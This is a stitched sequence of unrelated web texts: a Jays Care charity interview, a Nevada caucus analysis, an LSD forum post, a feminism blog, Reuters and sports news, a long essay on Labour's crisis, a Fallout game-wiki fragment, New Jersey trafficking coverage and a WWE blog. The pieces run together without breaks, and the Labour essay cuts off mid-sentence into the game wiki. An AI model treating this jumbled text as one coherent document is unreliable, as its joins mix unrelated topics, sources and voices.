2) We have been able to build Rookie League into something very powerful across the country, we have a "community" of 8,000+ Rookie Leaguers in 140 communities now, and growing. And we get to experience different parts of Canada through them. Just last week we sent our Rookie League team from Saskatoon, Saskatchewan to MLB's Jr. RBI Classic just before the MLB All-Star Game in Minnesota. These kids from the BGC came together through the Rookie League program this past year, from a variety of different backgrounds, nationalities (newcomers to Canada and first nations), and they became a team. Then, they rallied an entire community behind their experience and from the feedback we have received from kids, parents and the Club, it was a life-changing opportunity and experience. That means more than I can properly express.
3) It's a true partnership, we work together, we collaborate, we bring in new partners when needed and we share the ideas and the progress and the opportunities with others. When one of our other local professional teams was looking for a community outreach program, they modeled their investment (a soccer program) on what we have done with Rookie League. Because we have put so much emphasis on the partnership, TCH was able to easily replicate the experience in a different sport and different season, and we were in full support because it built on our efforts providing additional opportunities for the kids we know really benefit.
OK...since you asked for a couple...here is another one of "ours"--the Jays Care Community Clubhouse--the genesis of this amazing space in our stadium was born out of the Roy Halladay's "Doc's Box". When Roy pitched for Toronto, he would host kids from SickKids hospital in his suite 6-10 times year. It was a terrific program and "Doc" did such a great job making these kids feel special. When he left for Philly, I knew we just couldn't lose that opportunity for kids so we asked the club for a suite and they generously offered us a double suite that we could use - the premise being to have a place where we could create a very special in-game experience for kids and community groups at every Blue Jays home game.
One of our Board members stepped up and helped to fund the renovations costs through his construction company, Urbacon, and the environmental design firm of Shikatani Lacroix donated the design of the space - keeping in mind all of the details we had asked them to consider. Now, and over the past 4 years, for every home game, we are able to provide a fantastic experience for kids, families and charitable groups - game tickets, food and beverages are included, guests get a visit from our mascot ACE, and a live hit on the videoboard...and sometimes even a visit from a Blue Jays player! R.A. Dickey hosted a group of kids one evening from BOOST, a charity serving kids who have been sexually abused. He spoke candidly about his own experience, and out of that evening, one of the girls said that she was able to tell her friends what had happened and felt so relieved to be "free".
Sergio Santos visited the Down Syndrome Association of Hamilton one evening, not realizing that his number (21) was such a significant number to people with down syndrome--the families were overwhelmed by the experience and the kids were over the moon with his visit. It is a very special place and we have had so many tremendous stories come out of there on any given night. It also gives us an opportunity to showcase a charity or a cause in game, giving it a presence and a voice - our fans look for our "community clubhouse" minute in game and connect with us through all of the charities and groups we support.
Next year, for the TV auction, could you stop taking bids on the ‘lot' I want after I make a bid? Every year I lose out in near the end. How much has been raised in those auctions?
You could always give us a pre-emptive bid of say...$25,000 or so!! The largest auction item we've sold to date was $23,000 for a trip on a private jet to Cooperstown, NY with Robbie Alomar and a private tour of the Hall of Fame with the Hall of Famer, so we have to outdo ourselves next year. This year was our most successful auction to date raising just over $250,000. We started the auction in 2009 and to date we have raised $737,220 cumulatively over the past 6 seasons. (Tom: I'm pretty sure my wife wouldn't go along with that plan, she's great and all, but there are limits, especially to my bank account).
Is there anything else you' like to tell us about Jays Care?
Just that it is a team effort, it is a Club effort, and as we grow it belongs more and more to our fans, our Young Professionals, our crew of volunteers, the charities and partnerships we have forged, and the tens of thousands of kids that see us over the course of their childhoods whether it be through programs we deliver, places we make safe, experiences we offer, or support we provide. That makes me proud.Let’s get right to the point: Donald Trump had a great night, easily winning the Nevada GOP caucuses on Tuesday. The 46 percent of the vote he received is by far the highest share won by Trump, or any other Republican, in any state so far. Marco Rubio placed a distant second, with 24 percent of the vote, and Ted Cruz finished in third with 21 percent.
If South Carolina, which Trump won Saturday, provided some bits of good news for Trump skeptics — Trump faded over the course of the week and finished with less of the vote than he had in New Hampshire — his victory in Nevada was much more emphatic. Trump proved he could win in a relatively low-turnout environment, suggesting that his lack of a traditional “ground game” may not be that harmful to him.
The result underscores that preventing Trump from winning the nomination is likely to require both that anti-Trump Republicans coalesce around an alternative and that they adopt a much more aggressive strategy in probing Trump for signs of weakness. On the first point, anti-Trump Republicans have made some progress: Rubio, who narrowly finished second in both South Carolina and Nevada, has received a cavalcade of endorsements in recent days as Republican “party elites” have increasingly rallied around him as the top alternative to Trump.
But there are not yet many signs of a concerted effort to attack Trump. Instead, reports from Politico and other news organizations suggest that potential conservative donors are largely sitting on the sidelines. Remarkably little advertising money has been spent against Trump so far, especially given his position in the race. Rubio has also conspicuously avoided attacking Trump.
Here are a few other stray thoughts about the Nevada result — written early in the morning from New York and not, unfortunately, the New York-New York Hotel and Casino:
Lastly, we should keep in mind that this was just one state. Trump won 46 percent of the vote, blasting through his 33 percent (or thereabouts) ceiling, right? Not totally. It’s been clear for a while that Nevada Republicans loved Trump. As far back as October, polls have had Trump beating his national averages in Nevada. Meanwhile, Morning Consult polls, which have had Trump averaging 36 percent nationally over the course of the Republican primary, had Trump at 48 percent in Nevada. Believe it or not, states are not all the same! Recent polls have shown Trump getting anywhere from 50 percent of the Republican vote in Massachusetts to 18 percent in Utah. It’s certainly possible that Trump uses his momentum from Nevada to propel himself to even greater heights. But sometimes what’s billed as “momentum” is really just demographic and cultural variance among different states.Personally, I think on nearly any psychedelic, watching any movie, work of art, piece of music, video game, etc, one will find things "made" for LSD (/other psychedelic). I remember on a trip, his friend was playing some awesome music on his new Macbook Pro, while company was on LSD. Swim and co. noticed that certain visual features of the hardware itself, as well as the software, were "made" for LSD. Examples: The sleek unibody of the computer, the pretty, glowing backlit keys, even something as simple as the way iTunes has alternating-white-and-blue stripes was aesthetically impressive on LSD. And yes, I am aware Steve Jobs took LSD and considered it a major experience of his life. Other things, like pieces of art had hidden elements swim never noticed before. Then again, trees, bushes, cars, buildings, all had features previously unnoticed, and it would be silly to think all of those things were created for psychedelics. I am going to agree with Jatelka on this one, it's wishful thinking.Feminism is pretty controversial. I don’t know why this is the case – it seems like it shouldn’t be a big deal for people to think women should be treated with the same respect as men. Unfortunately, in a patriarchal society, being a feminist means dealing with a lot of different types of prejudice. Here are a few things that make my life even more difficult, just because I call myself a feminist.
1. Telling people I am a feminist often shuts down the conversation.
It’s almost like a magic spell. You tell people that you are a feminist and they immediately don’t care to talk to you anymore. The feminist movement has historically held a lot of ideas about everything, and when you claim that title for yourself, people automatically align you with every single one of those ideas. And honestly, what is the point of listening to a woman’s point of view if you can just assume her feelings on the issue and move on, right?
No one would know that I actually did read all three Fifty Shades of Grey books and I thought Anastasia Steele was a perfectly good female character (let’s just table this long discussion for another post). No one would know that I actually have a lot of problems with people like Taylor Swift or Iggy Azalea, who use feminism to suit their own needs and disregard the needs of other women who are not as privileged as them. And if you can believe it, this hardcore feminist will not be voting for Hillary Clinton in the primaries. But many people wouldn’t know that, because as soon as I tell them I’m a feminist, they associate me with some of the loudest and most problematic voices that this movement has produced, and they decide that I’m not worth listening to.
2. Feminism tends to ruin all of your favorite things.
This is one that I have had to do a lot of soul-searching with. Especially when I first started learning about feminism and the issues that surround women especially in the media, I found it difficult to enjoy anything. Watching Pitch Perfect would grate on my nerves because of that one scene where Fat Amy slut-shames another female character. I could hardly focus on movies because I was too busy mentally applying the Bechdel Test. And on the rare occasions where I sincerely thought I had found a movie that represented women well, another feminist blogger would write about how it was decidedly problematic because it didn’t represent the struggles of ALL women – just women of a certain category.
It can be really difficult to love books and movies and also be a feminist. However, there is a certain solace that you can take in knowing that just because something is problematic, doesn’t make it inherently unlikeable. I completely enjoy books with two-dimensional female characters sometimes. I love a good RomCom that makes the life of a woman completely centered on the male. Of course I wish more movies and books did better to represent women, but call it a guilty pleasure.
3. It causes a lot of anxiety when meeting new people.
When I meet someone new – especially someone who I might consider dating – I want to tell them upfront that I’m a feminist. I want them to know that saying certain things around me is not okay. And, probably most importantly, I want to know if they also consider themselves a feminist. I don’t want to get emotionally invested in a guy who doesn’t think I deserve to be paid the same amount of money for the same amount of work, or who doesn’t see the problems in objectifying a woman’s body. But this creates a whole new set of problems. There is such a stigma placed on feminists that I often feel like I have to approach the subject cautiously, and after I have proven myself to be a normal human being. Even then, I worry that if the person responds negatively, it will impact our relationship. Not because I expect everyone to think and believe the same way I do, but because I already feel so unsafe about wearing this label that when I expect someone to accept me, it makes it that much worse when they don’t.
4. The Internet becomes a scary and often dangerous place to exist.
Being a feminist is enough of an uphill battle already, but that is exacerbated tenfold when on the Internet. Women far more courageous than me have devoted their lives to spreading a feminist message and have continued to do so, despite verbal abuse and death threats. Anita Sarkeesian is a prime example of a woman who is often viewed as a “radical,” despite being completely fair to all sides of an issue and only using feminism to inform, not to tear down. Many women have been driven off the Internet entirely due to the never-ending harassment they endured simply for voicing their opinions.
Even by commenting on a picture or sharing an article, I am often on the receiving end for negative and often very hurtful comments. Normally, this doesn’t bother me too much. However, I can only imagine what it might do to someone who receives these comments on a larger scale. I can’t even begin to imagine how these comments affect someone when they are violent and vicious by nature.
5. Being a feminist is hard work.
The feminist movement is huge, and it has (finally) started accepting ideas about intersectionality. Being a feminist means learning about its history, its present, and its future. Being a feminist means really thinking critically about things, and questioning the reasons you feel a certain way towards anything. Being a feminist can be exhausting, frustrating, and emotionally taxing. But despite all of these things, being a feminist can open your mind more than you ever thought possible. It’s hard work, but it’s rewarding work. And being a feminist is like opening your arms to freedom. After I became a feminist, I was able to love myself more, respect other women more, and truly begin to experience the world in a better way.
The fact of the matter is that in order to wear the label of “feminist,” you have to overcome a lot. You might get frustrated, and you might even lose a few “friends.” But being a feminist is important, and it makes life better for you and the women (and men) around you.WASHINGTON (Reuters) - New French President Francois Hollande told President Barack Obama on Friday that he will stick by his pledge to withdraw France’s troops from Afghanistan at year’s end, a note of discord in an otherwise convivial first meeting between the two leaders.
“I reminded President Obama that I made a promise to the French people to the effect that our combat troops would be withdrawn from Afghanistan by the end of 2012,” Hollande said after Oval Office talks with Obama.
“That being said, we will continue to support Afghanistan in a different way,” he said.
Hollande’s remarks, while not a surprise, underscore the challenge Obama faces in keeping NATO allies on board as he tries to chart a gradual course out of Afghanistan. The alliance agreed two years ago to a 2014 deadline for withdrawing most of its combat troops.
The Afghan war will be the central topic when NATO leaders meet in Chicago, Obama’s home town, on Sunday and Monday.
The United States may seek at the NATO summit to nudge France to rethink its Afghanistan troop withdrawal timetable, which differs from the alliance’s 2014 timetable.
Hollande’s main foreign policy pledge is popular at home, even if French defense ministry officials believe it may prove technically complicated without putting troops in danger.
That may not be easy. “The exit is non-negotiable. The withdrawal of French combat troops is a French decision and it will be implemented,” Hollande said.
Hollande’s position on the war did nothing to dampen what appeared to be an instant rapport with Obama, and on the day’s other major topic - the health of the global economy - they agreed that budget austerity was not the sole remedy to Europe’s economic crisis.
Those weighty issues dominated the talks between the two, but they also joked about cheeseburgers and Hollande’s former habit of riding his scooter to work.
Obama has struck up few genuinely close personal relationships with foreign leaders during his more than three years in office.
Close ties between Obama and Hollande, fresh from a May 6 election victory from which he emerged as France’s first Socialist leader in 17 years, could have wider import. Both men favor a more balanced economic approach that includes measures to foster growth as well as cuts in national budgets.
When the French president and other NATO leaders meet in Chicago, Obama will be interested in Hollande’s views on the city’s burgers.
“I also warned him that now that he’s president he can no longer ride his scooter in Paris,” said Obama, who tends to bring a business-like style to his meetings with foreign leaders but appeared relaxed in Hollande’s presence.
FRIENDSHIP AND INDEPENDENCE
The bespectacled Hollande, whose low-key style contrasts with that of his flamboyant predecessor, Nicolas Sarkozy, spoke of U.S. friendship and France’s pride in its tendency to sometimes pursue an independent course.
Obama’s own re-election prospects in November could be in jeopardy if the euro zone crisis spins out of control and deals another blow to an already sluggish U.S. economic recovery.
He told reporters that he and Hollande spent a great deal of time discussing Europe’s currency woes.
The euro zone is a main topic for the two-day talks Obama will host at the Camp David retreat in Maryland. The G8 summit of leaders of the world’s leading economies will begin Friday evening.
Hollande, German Chancellor Angela Merkel and British Prime Minister David Cameron will be among the participants.
“We’re looking forward to a fruitful discussion later this evening and tomorrow with the other G8 leaders about how we can manage a responsible approach to fiscal consolidation that is coupled with a strong growth agenda,” Obama said.
The comment underscored his solidarity with Hollande on the view that measures to spur economic growth - and not just fiscal austerity - are needed to fix Europe’s economic woes.
Obama added that solving the euro zone crisis was of “extraordinary importance, not only to the people of Europe, but also to the world economy.”
U.S. President Barack Obama (R) and French President Francois Hollande button their jackets following their bilateral meeting in the Oval Office of the White House in Washington May 18, 2012. REUTERS/Eric Feferberg/Pool
Hollande told Obama that growth must be a priority and said the two leaders discussed their concerns about Greece. “We share the same views, the fact that Greece must stay in the eurozone and that all of us must do what we can to that effect,” he said.
Obama and other U.S. officials have repeatedly pressed European leaders to do more to spur economic growth.
Obama’s support for Hollande’s view could put pressure on Merkel, who has stressed the need for fiscal discipline to restore the health of the euro zone economies, even as voters have toppled belt-tightening governments.American manufacturer BFG Technologies has announced that it will cease to produce graphics cards effective immediately.
The company, based out of Illinois, USA, is best known for producing overclocked NVIDIA graphics cards and has done so for the best part of a decade.
BFG has yet to disclose the reasons behind its exit from the graphics marketplace, but Internet gossip is already pointing its collective finger at a lack of interest surrounding NVIDIA's most recent launch; the GeForce GTX 400 series.
Looking ahead, BFG has stated that it will turn its attention a range of power supplies and computers systems - including the company's Deimos line of notebooks and Phobos line of extreme gaming desktops.
Hoping to ease the fears of existing customers, the manufacturer adds that it will "continue to offer RMA, telephone and email support for qualified BFG Tech graphics card warranty holders."I try to organize a clean-up effort a couple times a year to keep our Austin green spaces healthy. This is purely a community effort, though KAB will be helping to supply some materials. Provided on site will be:
• trash bags
• work gloves
• Insect repellent
• First aid kit
• sunscreen
• cold water/coconut waters
If we get enough people, we may split up and some can cover portions of the other entrances.
This is family-friendly! Bring your kids/pets/SO(s) - just be mindful of typical hiking trail/wilderness hazards/concerns.
Once we meet at the trailhead, we'll disperse supplies (I'll provide as much of gloves, trash bags, sunscreen, water as I can, but please feel free to bring your own as well!) and head down. Usually people split up into smaller groups or singles and meander around to cover as much area as possible.
An area and time will be designated to meet up after, and to bundle trash together as we start getting full bags.
I'll update here and on r/Austin, and KAB will assist us with trash disposal after so we don't overload the trailhead cans. There have also been some generous offers from a few to lend trailer space for disposal, so we should be covered!© Amer Ghazzal/Demotix After nearly two months of hustings, speeches, and the odd bout of internecine nastiness, it does not feel as if the Labour Party’s contest to pick its new leader is going to start fizzing with ideas and excitement. The result will be announced at a special conference on 12th September in London, whereupon the new leader—in all likelihood, the current Labour health spokesman Andy Burnham, or Yvette Cooper, the Shadow Home Secretary—will stare out at a party still reeling from the disaster of its general election defeat on 7th May. Politics being politics, the new leader will have to gee up his or her troops for the election of 2020, a contest in which Labour will somehow have to win back at least 106 seats to triumph, and which, to judge from Cooper and Burnham’s leadership pitches, it may well fight on a introverted, nostalgic platform. Of the four candidates for leader who made it over the qualifying threshold (having the support of 35 MPs) the north London MP Jeremy Corbyn is there, according to many of his supporters, to ensure a “proper debate” rather than to win. The noise around his campaign indicates that a good deal of the Labour tribe would rather do anything than stare, unblinking, into the future. You could say the same of Cooper or Burnham, and many of their supporters. The one candidate bold enough to face the future is Labour’s shadow care spokesperson Liz Kendall, who talks with all the vim and brittle confidence of a contestant in The Apprentice. Kendall is often called a “Blairite,” though she has little of the hopeful, communitarian rhetoric that brought Labour to power nearly 20 years ago. Tony Blair offered a vision of a Britain in which “your child in distress is my child, your parent ill and in pain is my parent, your friend unemployed and helpless is my friend, your neighbour, my neighbour.” Kendall’s most celebrated quote so far is the observation, taken from the late New Zealand Labour Party leader Norman Kirk, that “what most people want is something to do, somewhere to live, something to look forward to, and someone to love.” That may be true, but it does not amount to much of an animating purpose. In terms of its eloquence, the best contribution so far was made by a candidate who did not even make it on to the ballot paper. On 20th May, Tristram Hunt, the Shadow Education Secretary, MP for Stoke-on-Trent Central and accomplished historian, gave a speech at Demos, the London-based think tank. “Our recent defeat represents far more than an ordinary electoral or political failure,” he said. “For me, it is a symptom of a profound cultural collapse.” Hunt recounted the industrial history of the city he represents. “We had the pits, the pots, the chapels, the co-ops, the steelworks, the unions, and with all that came the unequivocally progressive politics.” But the chapels had emptied, the working mens’ clubs had closed, and trade union membership was now “close to non-existent in the private sector.” He also mentioned the “weakening of class-based forms of identity when compared to local or national pride,” and concluded: “We have a bigger challenge than electing the correct leader. A bigger challenge than alighting upon the correct electoral strategy. And a bigger challenge than simply rediscovering, in my colleague Andy Burnham’s words, ‘the beating heart of Labour.’” This challenge goes wide and deep. Globalisation and new technology have caused a revolution in the work people do and in how they perceive their lives. How should the mainstream left respond? At a time when old political allegiances have given way to more fluid identities, how should established centre-left parties organise themselves and speak to the public? If austerity and a future of drastic demographic changes threaten to kill off the idea that progressive politics is largely about public spending, what then? These questions face parties all over Europe. Germany’s Social Democratic Party (SPD), which sits in uneasy coalition with Chancellor Angela Merkel’s centre-right Christian Democratic Union (CDU), seems unable to push beyond 25 per cent of the vote. In France, although François Hollande briefly found his voice in the wake of the Charlie Hebdoterrorist attack, his presidency has revived a statist politics that feels woefully dated. Contenders for the Labour leadership. L-R: Yvette Cooper, Jeremy Corbyn, Liz Kendall and Andy Burnham. © Jeff Overs/BBC Across Europe, the centre left is struggling, from Spain and Portugal to the Netherlands, and the supposed heartlands of Scandinavia, where Denmark’s Social Democrats recently lost office thanks to a surge of support for the right-populist Danish People’s Party. Sweden may still sit in the centre left’s imagination as an embodiment of near-utopia, but even if that country’s Social Democrats recently took power for the first time in eight years on 31 per cent of the vote, they were already weakened by the Swedish credit crunch and banking crisis of the early 1990s. And they now face an insurgent party of the populist right that is capitalising on anger about immigration. Elsewhere, the demise of Greece’s Panhellenic Socialist Movement (Pasok) speaks for itself: as the radical left party Syriza has gone from the political margins to the heart of government, in only five years, Pasok’s support has tumbled from 44 per cent to 4.7 per cent. Closer to home, meanwhile, there is Scotland and another vivid example of how the seemingly sudden decline of established parties of the left has become an ingrained trend in modern European politics. As Hunt said of Labour’s predicament, it is rooted not in electoral misjudgements, the qualities of particular leaders, the mislaying of a set of values that might easily be rediscovered or even recent financial earthquakes. Rather, it marks a historical shift that most of the centre left in Europe has yet to understand, let alone respond to. As strange as it may sound, nearly 30 years ago, some of the first people to grasp what was afoot were communists: more specifically, a group of people clustered around the “Eurocommunist” faction of the Communist Party of Great Britain and the party’s “theoretical journal,” Marxism Today. By the mid-1980s, the journal had become one of the most vibrant outlets for left-wing ideas. In October 1988, it published a celebrated issue based around the arrival of “New Times.” The core idea was taken from the Eurocommunists’ intellectual guru, the Italian communist Antonio Gramsci: that of “Fordism” (as in the mass production pioneer Henry Ford), a political and economic model embodied in giant industrial units, the nation state and left-wing political parties tied to huge social and electoral blocs; and its superseding by the much more volatile realities of “post-Fordism.” “Flexibility, diversity, differentiation, mobility, communication, decentralisation and internationalisation are in the ascendant,” ran the enthusiastic editorial. Inside, the cultural theorist Stuart Hall wrote about “greater fragmentation and pluralism” and “the weakening of older collective solidarities and block identities”—particularly those of class. The sociologist John Urry examined the way that the postwar economy of mass industrial production was being superseded by “disorganised capitalism. “The growth of the electronic mass media, the disruption of class homogeneous neighbourhoods, and the development of a relatively unattached middle class,” Urry argued, was profoundly transforming politics. Reading a 450-page “New Times” anthology from 1989, which I recently bought for a pittance on Amazon, it soon became clear that if the phrase “social media” were inserted into in every second or third paragraph, I would essentially be reading about the world of 2015. Since the election, I have been marvelling at its authors’ prescience: predictions of a fragmented politics in which voters would flip between parties at will; the Scottish thinker Tom Nairn’s suggestion that the ruptures of the 1980s might mean that “the very basis of Scottish Labourism is in doubt”; the identification, by several writers, of a new space beyond traditional parties where deep social tensions would be played out. Though some sneered at these insights, they were built around a truth that too many people on the left still refuse to acknowledge: that many of the changes that were transforming societies and economies were not fundamentally the work of politicians. It was a mistake, for example, to blame Margaret Thatcher and Ronald Reagan for bringing about social change of that depth. But those right-wing leaders did have a grasp of what was happening that appeared to leave the left standing. It was a delusion to suppose that there was a way back to the idyll of jobs-for-life in which a mass of workers handed their support to leaders who would see them right. From the Europe-wide decline in trade union membership to the fall of the communist bloc, everything seemed to point in a different direction—not away from the centre left’s essential values, necessarily, but away certainly from some of its most basic ideas about what it was and how it operated. Some of the New Times gospel found its way into New Labour’s early thinking, and the “Third Way” that Blair touted around Europe in the mid-1990s. This was helped by Charlie Leadbeater, the Marxism Today contributor turned Blair advisor, and Geoff Mulgan, another MT alumnus who became a New Labour insider—as well as the former MT Editor Martin Jacques, who worked with Mulgan on the foundation of Demos, for a while New Labour’s favourite think tank. But the Blair and Brown governments seemed to understand too little of what the New Times thesis had said about the state. Though Blair’s devolution of powers to Scotland, Wales and Northern Ireland was significant (and, in the case of Scotland, much more so than Labour realised), the party remained wedded to the idea of a passive people being overseen by a bossy, monolithic government (there was perhaps no better illustration of all this than New Labour’s addiction to public sector targets). In addition, New Labour extended its understanding of globalisation and disorganised capitalism into an insistence that some of the most exploitative aspects of modern economies were non-negotiable. Gordon Brown boasted that the United Kingdom had “the most flexible labour market in Europe” and resisted even the most modest EU regulation of insecure and temporary jobs, an issue which would later fuse with immigration to alienate Labour from a great swathe of its core vote. It was a similar story in Germany. In 2003, the then Chancellor, Gerhard Schröder, introduced an array of liberalising measures to labour market regulation and social security benefits known as “Agenda 2010,” and his party also incurred lasting damage. That the measures were widely held to have benefited Germany did not count for much—the SPD’s bond with millions of its supporters was already fraying and the seeds were sown for the formation of a new “Left Party,” Die Linke, four years later. “In most cases, centre-left parties still cling to the basic model of the postwar state” Since then, angry populism has arrived at the heart of European politics. Ideas of nation, region and belonging are at the centre of political debate, while challengers on the left have enjoyed success: Syriza, Die Linke, Podemos in Spain, the Scottish National Party and even the English Greens. This political tumult affects the mainstream right too, although the most successful parties, the CDU and the UK Conservatives, are so far riding it out. They have powerful media allies who can make their case, and the confidence that comes from having found a way to use this tide of change to their advantage. The centre left, by comparison, looks feeble, still trapped within the mindset that defined its progress from 1945 until the end of the 1970s. In most cases, centre-left parties still cling to the basic model of the postwar state. A single party—these days staffed by professionalised politicians who often know little of the people they claim to represent—wins power and uses it to help the grateful recipients of its largesse. Even in countries where coalitions are standard practice, the centre left tends to see pluralism and fragmentation as nuisances to be overcome, rather than things that might enrich its politics. Labour presents a particularly glaring example. The first past the post voting system (FPTP) has just yielded what the Electoral Reform Society calls “the most disproportionate election in British history” (the Conservatives’ won a majority of seats with the support of only 24 per cent of the entire electorate; while although almost four million people voted for the UK Independence Party, it ended up with a single MP). Yet none of the candidates for the Labour leadership has put forward a proposal to replace it, and the vast majority of their colleagues in the parliamentary party apparently still accept the old argument that FPTP is their surest route to power, and a bulwark against cooperation with other parties—even if, as was the case in 2005, “winning” means getting the support of around a quarter of the electorate. Woe betide even the most humble party activist who threatens this model: witness the recent tale of a certain Mr McLean, a Scottish Labour member who was expelled by a party “compliance officer” for revealing on Twitter that he had voted for the SNP. Talking to German SPD insiders recently, I was struck by the similarities between their accounts of their party’s recent history and what I hear from some Labour people. In both cases, the shrinking of the traditional working class has left the parties without a dependable base, and the recent desertion of much of their residual core vote to populist parties has jangled nerves further. Trying to sustain their age-old way of working, those at the centre have focused on ( |
perk or a weapon that inflicts fatigue damage, it is possible to knock Benny off his cross. Upon landing, he will continue to act as if on the cross, but he will be standing on the ground. The same also happens when Benny is in Caesar's tent kneeling. Xbox 360 Caesar and you can let him down for Karma he will have his suit on but he will not have Maria. [verified]
Caesar and you can let him down for Karma he will have his suit on but he will not have Maria. Xbox 360 [verified]
PC [verified]
PC Xbox 360 [verified]
Xbox 360 Talk About Owned challenge. [verified]
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↑ Benny's dialogue: "Our chief at the time, mountain of a guy named Bingo, wanted to stay nomadic. I disagreed, so he challenged me to the knife. He looked so surprised when I stuck that knife in his neck." ↑ http://www.usgamer.net/articles/the-making-of-fallout-new-vegas-how-obsidians-cult-sequel-became-a-beloved-classic/page-2 ↑ Joshua Sawyer on FormspringTRENTON -- The five accused sex traffickers from Bergen and Passaic counties advertised their victims on backpage.com, keeping them at motels across the state and forcing them to have sex with older men.
The four men from Hudson County allegedly sold off girls as young as 13, using violence and threats to control them. One girl was held at gunpoint.
And the five defendants from an international trafficking ring admitted bringing young girls from Mexico with hopes of living in America, putting them to work in brothels down the Jersey Shore.
These cases, said state Division of Criminal Justice Director Elie Honig, are the grim face of "modern slavery" in New Jersey.
Far from the stereotype of the lone pimp and willing prostitute, Honig said, these sex traffickers work in networks and practice fraud and coercion. They rely on technology to find and advertise their victims -- many of them underage and vulnerable, from New Jersey's cities and suburbs or lured from abroad.
And prosecutors, armed with stiffer state anti-trafficking laws, are putting the ones they catch away for longer, Honig said.
Law enforcement officials and victims' advocates gathered in Trenton Friday for the state's sixth annual human trafficking awareness event, which coincided with President Barack Obama's declaration of January as National Slavery and Human Trafficking Prevention Month.
There they marked the 150th anniversary of the 13th Amendment, which abolished slavery, by drawing attention to its modern forms: child soldiers, indentured laborers and those coerced into prostitution.
"When you boil it down to its basic elements, and you look through the prism of history at modern-day slavery, you see a lot of commonality," said Kenneth B. Morris, Jr., the keynote speaker and founder of Frederick Douglass Family Initiatives. Education and awareness, Morris said, was integral to preventing young people from falling victim to traffickers.
While human trafficking is an international crisis, law enforcement officials said they're making progress routing out traffickers here in New Jersey.
Three years ago, Gov. Chris Christie signed the Human Trafficking Prevention, Protection, and Treatment Act, which made it easier for prosecutors to charge those running prostitution rings with human trafficking, stiffened penalties and set up an assistance fund for survivors of sex trafficking.
The measure also created a study commission to evaluate New Jersey's approach in fighting trafficking and make recommendations to the governor and the Legislature. The commission's chairman, Atlantic County Prosecutor James P. McClain, said the panel's first annual report will be released in coming days.
"It's a very broad problem to get your mind around," McClain said.
But authorities say the law's passage is starting to bear fruit.
Last June, a New York woman became the first person to use a provision in the law that allows trafficking victims to vacate criminal charges stemming from their forced prostitution.
New York woman first to clear her criminal past using N.J. trafficking law
The woman, identified only by the initials M.S., struggled through an abusive childhood and bouts of drug addiction, losing her child and falling prey to a sex trafficker that operated a sprawling prostitution network.
Atlantic County Assistant Prosecutor Danielle S. Buckley said she had seen her share of tragedy in her years working in her office's special victims unit.
"M.S. was one of the most gut-wrenching I'd ever seen," she said. "I had to get up from my desk reading her petition."
M.S. worked with authorities and testified against her trafficker, who is now serving a 23-year federal sentence. Her prior convictions for prostitution and defiant trespass were wiped clean, making it easier for her to find work, Buckley said.
Earlier this month, Charles P. Torres, one of the first people indicted under the new human trafficking law, was given 20-year state prison sentence for recruiting a 15-year-old girl to work as a prostitute in Essex and Hudson counties.
Honig said the law makes it easier to charge those who target minors with human trafficking.
"The one thing the statute does that's important to us as prosecutors is it makes the trafficking of an underage person -- boy or girl -- automatically human trafficking," he said. "Under the old statute, you still had to show force or coercion. Our law now reflects reality."
S.P. Sullivan may be reached at [email protected]. Follow him on Twitter. Find NJ.com on Facebook.WWE PPVs might suck, but there are still positives Mar 03, 2014
Elimination Chamber was an under-whelming pay-per-view to say the least, but following the disappointment of The Royal Rumble last month, did we really expect any less?
However, there are some positives that we can take from the event…
Cesaro
The former “Antonio” Cesaro is so over with the crowd right now that he needs to make a babyface turn. The fact that his swing gets a better crowd reaction than any of John Cena’s moves should tell the company that this guy has something special and after he drops Jack Swagger he could challenge for one of the top places in WWE.
The Wyatts
Regardless of anything anyone says about the Elimination Chamber, The Wyatts v The Shield stole the show and was one of the best matches in recent years. Not only did the Wyatts completely dominate The Hounds Of Justice in a way that has never been seen before (Dean went missing in the crowd, Seth was power-bombed through the Spanish announcers desk and Roman was pinned after he received Sister Abigail) but they also popped up inside the Elimination Chamber and cost John Cena his shot at the WWE World Heavyweight Championship, setting up a feud with two of the best promo makers in WWE today.
Roman Reigns
The brute force element of The Shield was left in a three-on-one situation when his partners were taken out, but instead of rolling over and accepting his fate, the Samoan fought back and hit his Superman punch twice before delivering a spear to Luke Harper. If he hadn’t provided the distraction, Roman would have gone on to win regardless of the circumstances and added another notch to his already long list of achievements. The plus side is that The Shield didn’t break up as everyone predicted and we’re all now anticipating this break-up even more.
Christian v Sheamus
Going into the match Sheamus and Christian already had the foundations of a feud laid down and it felt like this would continue further. After Christian pinned Sheamus following a painful splash from the top of a pod, it seems logical that the feud will continue and keep Christian in the mid-card for another few months and the veteran may even earn a final WrestleMania match from it.
Titus O’Neil
The former Prime Time Player claimed a memorable victory over his former tag team partner in one of the fastest matches of the night. Judging by the fact that Titus had new music and Darren was left with the old Prime Time Players theme you got the feeling Titus was the one receiving the push. Titus has the ability and the body image to go on to be one of the main event stars and his PPV win could put him on the road.
Batista
The worst match of the night was probably Batista v Del Rio, the crowd were busy chanting for anything or anyone else. Batista seems to be so hated that anyone who faces him automatically turns into a babyface. It still remains to be seen if Randy Orton comes over as a babyface in their WrestleMania match.
Divas division
It seems the plan all along was for Tamina to turn on AJ. There have been hints for a while and following Naomi’s injury it looks like WWE has pushed the storyline forward and we may actually have a competition worthy of the title. A second generation diva, Tamina is a better in-ring performer than a lot of AJ’s recent competition and looks like the only Diva likely to take away her title.
Related Posts Why the Royal Rumble is better than WrestleMania Most wrestling fans consider WrestleMania to be the best pay-per-view of the year, but the Royal Rumble will always be my favorite. Ever since I discovered a VHS tape of the 1992 Royal Rumble at my local video store as a child, I’ve been fascinated by the event. While the title matches on the card […]
TNA has a new UK TV deal Good news for wrestling fans – TNA will be back on UK TV from April 21. The wrestling promotion has signed a deal with Freeview channel Spike to broadcast IMPACT episodes and pay-per-views in the UK. The company’s former home, Challenge TV, which used to air the weekly IMPACT show on Sunday nights, dropped TNA in January. […]
Six reasons Donald Trump is better than Barack Obama It seemed impossible to many, but Donald Trump has been elected the 45th president of the United States. Some people are ever so sad about that and are saying he’ll never live up to the legacy of Barack Obama. But Donald Trump is already better than President Obama, and this is why: 1. WrestleMania IV Trump and the WWE (then […]Minnesota United played Swansea City in a pre-season friendly in July
Minnesota United will field a Major League Soccer franchise from 2018 as the league's expansion plans continue.
The MLS has 20 teams but with Atlanta joining and Chivas USA being recreated, Minnesota will become the 23rd side when they join in 2018.
A 24th franchise is expected by 2020 but Minnesota are the first side to be located in the country's Upper Midwest.
The club, founded in 2010 and nicknamed the Loons, play in the second-tier North American Soccer League.
As part of their move into the MLS, Minnesota will finalise plans for a new stadium by 1 July.
